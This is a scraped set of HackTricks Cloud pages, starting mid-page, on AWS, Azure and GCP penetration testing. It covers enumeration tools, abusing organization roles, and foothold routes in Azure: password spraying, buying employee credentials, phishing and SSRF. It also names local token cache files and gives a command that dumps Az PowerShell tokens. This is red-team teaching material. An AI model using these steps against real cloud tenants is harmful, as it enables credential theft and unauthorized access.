need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools) . Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: [AWS - Unauthenticated Enum & Access](aws-unauthenticated-enum-access/index.html) If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: [AWS - Privilege Escalation](aws-privilege-escalation/index.html) While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...). As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: [HackTricks - HackTricks](https://book.hacktricks.wiki/) When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. ![](../../images/image (171).png) So, in order to access as administrator a child account you need: * **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. * To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` * You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. * **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). * [**aws-recon**](https://github.com/darkbitio/aws-recon) : A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ --services S3,EC2 \ --regions global,us-east-1,us-east-2 \ --verbose * [**cloudlist**](https://github.com/projectdiscovery/cloudlist) : Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. * [**cloudmapper**](https://github.com/duo-labs/cloudmapper) : CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. bash # Installation steps in github # Create a config.json file with the aws info, like: { "accounts": [\ {\ "default": true,\ "id": "",\ "name": "dev"\ }\ ], "cidrs": { "2.2.2.2/28": {"name": "NY Office"} } } # Enumerate python3 cloudmapper.py collect --profile dev ## Number of resources discovered python3 cloudmapper.py stats --accounts dev # Create HTML report ## In the report you will find all the info already python3 cloudmapper.py report --accounts dev # Identify potential issues python3 cloudmapper.py audit --accounts dev --json > audit.json python3 cloudmapper.py audit --accounts dev --markdow > audit.md python3 cloudmapper.py iam_report --accounts dev # Identify admins ## The permissions search for are in https://github.com/duo-labs/cloudmapper/blob/4df9fd7303e0337ff16a08f5e58f1d46047c4a87/shared/iam_audit.py#L163-L175 python3 cloudmapper.py find_admins --accounts dev # Identify unused elements python3 cloudmapper.py find_unused --accounts dev # Identify publivly exposed resources python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver * [**cartography**](https://github.com/lyft/cartography) : Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. bash # Install pip install cartography ## At the time of this writting you need neo4j version 3.5.* # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j * [**starbase**](https://github.com/JupiterOne/starbase) : Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. * [**aws-inventory**](https://github.com/nccgroup/aws-inventory) : (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. * [**aws\_public\_ips**](https://github.com/arkadiyt/aws_public_ips) : It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. * [**SkyArk**](https://github.com/cyberark/SkyArk) **:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) . * [**pacu**](https://github.com/RhinoSecurityLabs/pacu) : Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc\_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. * Note that pacu **only checks your own privescs paths** (not account wide). bash # Install ## Feel free to use venvs pip3 install pacu # Use pacu CLI pacu > import_keys # import 1 profile from .aws/credentials > import_keys --all # import all profiles > list # list modules > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions * [**PMapper**](https://github.com/nccgroup/PMapper) : Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) bash # Install pip install principalmapper # Get data pmapper --profile dev graph create pmapper --profile dev graph display # Show basic info # Generate graph pmapper --profile dev visualize # Generate svg graph file (can also be png, dot and graphml) pmapper --profile dev visualize --only-privesc # Only privesc permissions # Generate analysis pmapper --profile dev analysis ## Run queries pmapper --profile dev query 'who can do iam:CreateUser' pmapper --profile dev query 'preset privesc *' # Get privescs with admins # Get organization hierarchy data pmapper --profile dev orgs create pmapper --profile dev orgs display * [**cloudsplaining**](https://github.com/salesforce/cloudsplaining) : Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report. It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). bash # Install pip install cloudsplaining # Download IAM policies to check ## Only the ones attached with the versions used cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ * [**cloudjack**](https://github.com/prevade/cloudjack) : CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. * [**ccat**](https://github.com/RhinoSecurityLabs/ccat) : List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image * [**Dufflebag**](https://github.com/bishopfox/dufflebag) : Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. * [**cloudsploit**](https://github.com/aquasecurity/cloudsploit) **:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 * [**Prowler**](https://github.com/prowler-cloud/prowler) : Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. bash # Install python3, jq and git # Install pip install prowler prowler -v # Run prowler prowler aws --profile custom-profile [-M csv json json-asff html] * [**CloudFox**](https://github.com/BishopFox/cloudfox) : CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. bash cloudfox aws --profile [profile-name] all-checks * [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite) : Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. bash # Install virtualenv -p python3 venv source venv/bin/activate pip install scoutsuite scout --help # Get info scout aws -p dev * [**cs-suite**](https://github.com/SecurityFTW/cs-suite) : Cloud Security Suite (uses python2.7 and looks unmaintained) * [**Zeus**](https://github.com/DenizParlak/Zeus) : Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. * [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian) : Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. * [**pacbot**](https://github.com/tmobile/pacbot) **: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. * [**streamalert**](https://github.com/airbnb/streamalert) **:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. bash # Set proxy export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=http://localhost:8080 # Capture with burp nor verifying ssl aws --no-verify-ssl ... # Dowload brup cert and transform it to pem curl http://127.0.0.1:8080/cert --output Downloads/certificate.cer openssl x509 -inform der -in Downloads/certificate.cer -out Downloads/certificate.pem # Indicate the ca cert to trust export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... * [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) * [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # TODO - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective * Drone * TeamCity * BuildKite * OctopusDeploy * Rancher * Mesosphere * Radicle * Any other CI/CD platform... tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Azure Pentesting - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 10 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Learn the basics of Azure and Entra ID in the following page: [Az - Basic Information](az-basic-information/index.html) In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected. From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **foothold**. The first step is of course to enumerate information about the tenant you are attacking and try to get a foothold. Based on the domain name it's possible to know **if the company if using Azure**, get the **tenant ID**, get other **valid domains** in the same tenant (if more) and get **relevant information** like if SSO is enabled, mail configurations, valid user emails... Check the following page to learn how to perform the **external enumeration**: [Az - Unauthenticated Enum & Initial Entry](az-unauthenticated-enum-and-initial-entry/index.html) With this information the most common ways to try to get a foothold are: * **OSINT**: Check for **leaks** in Github or any other open source platform that could contain **credentials** or interesting information. * **Password** reuse, leaks or [password spraying](az-unauthenticated-enum-and-initial-entry/az-password-spraying.html) * Buy credentials to an employee * [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credentials or Oauth App) * [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.html) * 3rd parties **breached** * Vulnerabilities in Azure-Hosted Applications * [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint * **Subdomain takeovers** like in [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/) * **Other azure services misconfigurations** * If some developer laptop is compromised ([WinPEAS and LinPEAS](https://github.com/peass-ng/PEASS-ng) can find this info): * Inside **`/.Azure`** * **`azureProfile.json`** contains info about logged in users from the past * **`clouds.config contains`** info about subscriptions * **`service_principal_entries.json`** contains applications credentials (tenant id, clients and secret). Only in Linux & macOS * **`msal_token_cache.json`** contains contains access tokens and refresh tokens. Only in Linux & macOS * **`service_principal_entries.bin`** and msal\_token\_cache.bin are used in Windows and are encrypted with DPAPI * **`msal_http_cache.bin`** is a cache of HTTP request * Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)` * **`AzureRmContext.json`** contains information about previous logins using Az PowerShell (but no credentials) * Inside **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** are several `.bin` files with **access tokens**, ID tokens and account information encrypted with the users DPAPI. * It’s possible to find more **access tokens** in the `.tbres` files inside **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** which contain a base64 encrypted with DPAPI with access tokens. * In Linux and macOS you can get **access tokens, refresh tokens and id tokens** from Az PowerShell (if used) running `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` * In Windows this just generates id tokens. * Possible to see if Az PowerShell was used in Linux and macSO checking is `$HOME/.local/share/.IdentityService/` exists (although the contained files are empty and useless) Find **other Azure Services misconfigurations** that cal lead to a foothold in the following page: [Az - Unauthenticated Enum & Initial Entry](az-unauthenticated-enum-and-initial-entry/index.html) note Remember that usually the **noisiest** part of the enumeration is the **login**, not the enumeration itself. The following tools will be super useful to enumerate both Entra ID tenants and Azure environments slowly (to avoid detection) or automatically (to save time): [Az - Enumeration Tools](az-enumeration-tools.html) ![](../../images/image (268).png) In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place: * **IP whitelisting** -- You need to compromise a valid IP * **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least) * **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses. * You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed After bypassing it, you might be able to get back to your initial setup and you will still have access. Check: [Az - Conditional Access Policies & MFA Bypass](az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.html) caution Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.html) section. One of the first things you need to know is **who you are** (in which environment you are): bash az account list az account tenant list # Current tenant info az account subscription list # Current subscription info az ad signed-in-user show # Current signed-in user az ad signed-in-user list-owned-objects # Get owned objects by current user az account management-group list #Not allowed by default bash # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext # List all available contexts Get-AzContext -ListAvailable # Enumerate subscriptions accessible by the current user Get-AzSubscription #Get Resource group Get-AzResourceGroup bash #Get the current session Get-MgContext bash #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant Get-AzureADTenantDetail By default, any user should have **enough permissions to enumerate** things such as users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/index.html#default-user-permissions) ). You can find here a guide: [Az - Entra ID (AzureAD) & Azure IAM](az-services/az-azuread.html) Check the **Post-Exploitation tools** to find tools to escalate privileges in Entra ID like **AzureHound:** [Automated Post Exploitation Tools](az-enumeration-tools.html#automated-post-exploitation-tools) Once you know who you are, you can start enumerating the **Azure services you have access to**. You should start finding out the **permissions you have** over the resources. For this: 1. **Find the resource you have some acecss to**: tip This doesn't require any special permission. The Az PoswerShell command **`Get-AzResource`** lets you **know the resources your current user has visibility over**. Moreover, you can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" or executing: bash az rest --method GET --url "https://management.azure.com/subscriptions//resources?api-version=2021-04-01" 2. **Find the permissions you have over the resources you can see**: tip This doesn't require any special permission. Talking to the API **`https://management.azure.com/{resource_id}/providers/Microsoft.Authorization/permissions?api-version=2022-04-01`** you can get the permissions you have over the specified resource in the **`resource_id`**. Therefore, **checking each of the resources you have access to**, you can get the permissions you have over them. warning You can automate this enumeration using the tool **[Find\_My\_Az\_Management\_Permissions](https://github.com/carlospolop/Find_My_Az_Management_Permissions) **. Enumerate permissions with \*\*\`Microsoft.Authorization/roleAssignments/read\`\*\* tip Note that you need the permission **`Microsoft.Authorization/roleAssignments/read`** to execute this action. * With enough permissions, the role **`Get-AzRoleAssignment`** can be used to **enumerate all the roles** in the subscription or the permission over a specific resource indicatig it like in: bash Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/Resource_Group_1/providers/Microsoft.RecoveryServices/vaults/vault-m3ww8ut4 It's also possible to get this information running: bash az rest --method GET --uri "https://management.azure.com//providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" | jq ".value" like in: bash az rest --method GET --uri "https://management.azure.com//subscriptions//resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/vault-m3ww8ut4/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" | jq ".value" * Another option is to **get the roles attached to you in azure**. This also requires the permission **`Microsoft.Authorization/roleAssignments/read`**: bash az role assignment list --assignee "" --all --output table Or running the following (If the results are empty it might be because you don't have the permission to get them): bash az rest --method GET --uri 'https://management.azure.com/subscriptions//providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=principalId eq '' * **Find the granular permissions of the roles attached to you**: Then, to get the granular permission you could run **`(Get-AzRoleDefinition -Id "").Actions`**. Or call the API directly with bash az rest --method GET --uri "https://management.azure.com//subscriptions//providers/Microsoft.Authorization/roleDefinitions/?api-version=2022-04-01" | jq ".properties" In the following section you can find **information about the most common Azure services and how to enumerate them**: [Az - Services](az-services/index.html) Once you know how is the Azure environment structured and what services are being used, you can start looking for ways to **escalate privileges, move laterally, perform other post-exploitation attacks and maintain persistence**. In the following section you can find information about how to escalate privileges in the most common Azure services: [Az - Privilege Escalation](az-privilege-escalation/index.html) In the following one you can find information about how to perform post-exploitation attacks in the most common Azure services: [Az - Post Exploitation](az-post-exploitation/index.html) In the following one you can find information about how to maintain persistence in the most common Azure services: [Az - Persistence](az-persistence/index.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Basic Information - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 16 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Google Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specific attachment points for policies and permissions. At a high level, it looks like this: Organization --> Folders --> Projects --> Resources A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc. ![](../../../images/image (1) (1) (1) (1) (1) (1) (1).png) [https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg](https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg) It's possible to **migrate a project without any organization** to an organization with the permissions `roles/resourcemanager.projectCreator` and `roles/resourcemanager.projectMover`. If the project is inside other organization, it's needed to contact GCP support to **move them out of the organization first**. For more info check [**this**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6) . Allow to centralize control over your organization's cloud resources: * Centralize control to **configure restrictions** on how your organization’s resources can be used. * Define and establish **guardrails** for your development teams to stay within compliance boundaries. * Help project owners and their teams move quickly without worry of breaking compliance. These policies can be created to **affect the complete organization, folder(s) or project(s)**. Descendants of the targeted resource hierarchy node **inherit the organization policy**. In order to **define** an organization policy, **you choose a** [**constraint**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints) , which is a particular type of restriction against either a Google Cloud service or a group of Google Cloud services. You **configure that constraint with your desired restrictions**. ![](../../../images/image (217).png) [https://cloud.google.com/resource-manager/img/org-policy-concepts.svg](https://cloud.google.com/resource-manager/img/org-policy-concepts.svg) #### [](#common_use_cases) * Limit resource sharing based on domain. * Limit the usage of Identity and Access Management service accounts. * Restrict the physical location of newly created resources. * Disable service account creation ![](../../../images/image (172).png) There are many more constraints that give you fine-grained control of your organization's resources. For **more information, see the** [**list of all Organization Policy Service constraints**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints) **.** These are the policies that Google will add by default when setting up your GCP organization: **Access Management Policies** * **Domain restricted contacts:** Prevents adding users to Essential Contacts outside your specified domains. This limits Essential Contacts to only allow managed user identities in your selected domains to receive platform notifications. * **Domain restricted sharing:** Prevents adding users to IAM policies outside your specified domains. This limits IAM policies to only allow managed user identities in your selected domains to access resources inside this organization. * **Public access prevention:** Prevents Cloud Storage buckets from being exposed to the public. This ensures that a developer can't configure Cloud Storage buckets to have unauthenticated internet access. * **Uniform bucket level access:** Prevents object-level access control lists (ACLs) in Cloud Storage buckets. This simplifies your access management by applying IAM policies consistently across all objects in Cloud Storage buckets. * **Require OS login:** VMs created in new projects will have OS Login enabled. This lets you manage SSH access to your instances using IAM without needing to create and manage individual SSH keys. **Additional security policies for service accounts** * **Disable automatic IAM grants**: Prevents the default App Engine and Compute Engine service accounts from automatically being granted the Editor IAM role on a project at creation. This ensures service accounts don't receive overly-permissive IAM roles upon creation. * **Disable service account key creation**: Prevents the creation of public service account keys. This helps reduce the risk of exposing persistent credentials. * **Disable service account key upload**: Prevents the uploading of public service account keys. This helps reduce the risk of leaked or reused key material. **Secure VPC network configuration policies** * **Define allowed external IPs for VM instances**: Prevents the creation of Compute instances with a public IP, which can expose them to internet traffic. * **Disable VM nested virtualization**: Prevents the creation of nested VMs on Compute Engine VMs. This decreases the security risk of having unmonitored nested VMs. * **Disable VM serial port:** Prevents serial port access to Compute Engine VMs. This prevents input to a server’s serial port using the Compute Engine API. * **Restrict authorized networks on Cloud SQL instances:** Prevents public or non-internal network ranges from accessing your Cloud SQL databases. * **Restrict Protocol Forwarding Based on type of IP Address:** Prevents VM protocol forwarding for external IP addresses. * **Restrict Public IP access on Cloud SQL instances:** Prevents the creation of Cloud SQL instances with a public IP, which can expose them to internet traffic. * **Restrict shared VPC project lien removal:** Prevents the accidental deletion of Shared VPC host projects. * **Sets the internal DNS setting for new projects to Zonal DNS Only:** Prevents the use of a legacy DNS setting that has reduced service availability. * **Skip default network creation:** Prevents automatic creation of the default VPC network and related resources. This avoids overly-permissive default firewall rules. * **Disable VPC External IPv6 usage:** Prevents the creation of external IPv6 subnets, which can be exposed to unauthorized internet access. These are like IAM policies in AWS as **each role contains a set of permissions.** However, unlike in AWS, there is **no centralized repo** of roles. Instead of that, **resources give X access roles to Y principals**, and the only way to find out who has access to a resource is to use the **`get-iam-policy` method over that resource**. This could be a problem because this means that the only way to find out **which permissions a principal has is to ask every resource who is it giving permissions to**, and a user might not have permissions to get permissions from all resources. There are **three types** of roles in IAM: * **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM. * **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have** [**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles) . * **Custom roles**, which provide granular access according to a user-specified list of permissions. There are thousands of permissions in GCP. In order to check if a role has a permissions you can [**search the permission here**](https://cloud.google.com/iam/docs/permissions-reference) and see which roles have it. You can also [**search here predefined roles**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **offered by each product.** Note that some **roles** cannot be attached to users and **only to SAs because some permissions** they contain. Moreover, note that **permissions** will only **take effect** if they are **attached to the relevant service.** 